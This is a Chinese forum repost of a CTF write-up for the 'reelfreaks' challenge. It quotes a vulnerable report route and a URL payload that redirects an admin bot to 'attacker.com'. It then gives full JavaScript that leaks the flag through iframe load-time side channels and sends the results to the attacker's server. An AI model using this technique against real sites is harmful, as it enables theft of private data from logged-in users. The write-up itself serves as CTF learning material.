CSRF攻击 + 观测iframe加载时间利用时间相应差异侧信道攻击 -- reelfreaks ...

打印 上一主题 下一主题

主题 1691|帖子 1691|积分 5073

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?立即注册

x
参考: https://0x90r00t.com/2024/09/30/3708/
    题目信息
  1. 有些事情最好还是保持低调。当然,除非你是个真正的怪胎。
  2. 注意:该网站通过HTTPS提供服务
  3. 标志格式:DCTF{}
复制代码
  题目实现了一个类似视频网站的东西
    在其提供的数据库中我们能看到被ban的视频,其名称为flag的值
    被ban的东西只能由管理员查看
  1. if movie.banned != False and current_user.role != 'real_freak':
  2.     movies.pop(i)
复制代码
  此处存在我们可以控制的url
  1. # 定义报告路由,处理 POST 请求,需要登录才能访问
  2. @main.route('/report', methods=['POST'])
  3. @login_required
  4. def report():
  5.     # 构建访问的 URL
  6.     url = "https://127.0.0.1" + request.form.get('movie')
  7.     # 创建一个新线程,调用 visit 函数访问该 URL
  8.     thread = threading.Thread(target=visit,args=(url,))
  9.     # 启动线程
  10.     thread.start()
  11.     return 'OK'
复制代码
  我们可以构造类似如下的有用负载
  1. https://127.0.0.1@attacker.com
复制代码
  当大文件被加载,其会产生一定的延迟,我们可以利用iframe观测其加载完成的时间
    参考: https://0x90r00t.com/2024/09/30/3708/
  1. <body></body>
  2. <script type="text/javascript">
  3. // 定义所有可能用于破解flag的候选字符集(注意:字符 `_` 缺失,`` 可能存在排版错误)
  4. const characters = '| !"#$&\'()*+,-./0123456789:;<=>?@[\\]^``abcdefghijklmnopqrstuvwxyz{}~';
  5. // 存储每个字符的响应时间测量结果
  6. let timings = {};
  7. // 当前猜测的flag(初始值为占位flag,实际会通过时间分析逐步破解)
  8. let currentFlag = 'DCTF{l3ak_ev3ry_d4y_0f_ev3ry_w33k}';
  9. // 当前正在测试的字符索引(按characters顺序遍历)
  10. let charIndex = 0;
  11. // 最大测试轮次(初始值为0,可能需要调整以增加准确性)
  12. let maxRounds = 0;
  13. // 根据记录的响应时间对字符排序(降序,时间越长排越前)
  14. function getSortedKeysByTiming(timings) {
  15.     return Object.keys(timings).sort((a, b) => timings[b] - timings[a]);
  16. }
  17. // 向服务器发送日志(用于远程记录测试数据)
  18. function log(message) {
  19.     const xhr = new XMLHttpRequest();
  20.     xhr.open("GET", "/?" + message); // 将数据通过GET参数发送
  21.     xhr.send();
  22. }
  23. /**
  24. * 测量特定字符组合的响应时间
  25. * @param {string} char - 当前测试的字符
  26. * @param {string} flag - 当前猜测的完整flag(包含已确定字符+测试字符)
  27. */
  28. function measureTiming(char, flag) {
  29.     // 通过隐藏的iframe发起请求,测量加载时间
  30.     const iframe = document.createElement('iframe');
  31.     // 请求本地服务器接口,q参数携带猜测的flag
  32.     iframe.src = 'https://127.0.0.1:5000/watchlist?q=' + encodeURIComponent(flag);
  33.     document.body.appendChild(iframe);
  34.     const startTime = performance.now(); // 记录精确的时间起点
  35.     // 根据iframe加载结果更新计时数据
  36.     iframe.onload = () => updateTiming(char, performance.now() - startTime);
  37.     iframe.onerror = () => updateTiming(char, -1); // 错误时记录-1
  38. }
  39. /**
  40. * 更新字符计时数据并继续处理
  41. * @param {string} char - 被测试的字符
  42. * @param {number} time - 测量的响应时间(毫秒)
  43. */
  44. function updateTiming(char, time) {
  45.     // 仅保留最大时间值(假设正确字符会触发更长响应)
  46.     if (!(char in timings) || time > timings[char]) {
  47.         timings[char] = time;
  48.     }
  49.     log(`${char}: ${time}`); // 发送日志
  50.     clearFrames();           // 清理iframe
  51.     processNextChar();       // 处理下一个字符
  52. }
  53. // 清除所有iframe防止内存泄漏
  54. function clearFrames() {
  55.     document.body.innerHTML = ''; // 清空body内所有内容
  56. }
  57. /**
  58. * 主逻辑:按顺序测试每个字符,完成一轮后分析结果
  59. */
  60. function processNextChar() {
  61.     // 遍历所有候选字符
  62.     if (charIndex < characters.length) {
  63.         const currentChar = characters[charIndex];
  64.         // 测试当前猜测flag+当前字符的组合(例如:"DCTF{a")
  65.         measureTiming(currentChar, currentFlag + currentChar);
  66.         charIndex++;
  67.     } else {
  68.         // 一轮完成,按响应时间排序字符
  69.         const sortedKeys = getSortedKeysByTiming(timings);
  70.         log('fini ' + sortedKeys.join(',')); // 上报结果
  71.         // 如果还有剩余轮次,重置索引继续测试(可能需要多轮验证)
  72.         if (maxRounds-- > 0) {
  73.             charIndex = 0;
  74.             processNextChar();
  75.         }
  76.     }
  77. }
  78. // 启动时间攻击
  79. processNextChar();
  80. </script>
复制代码
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

圆咕噜咕噜

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表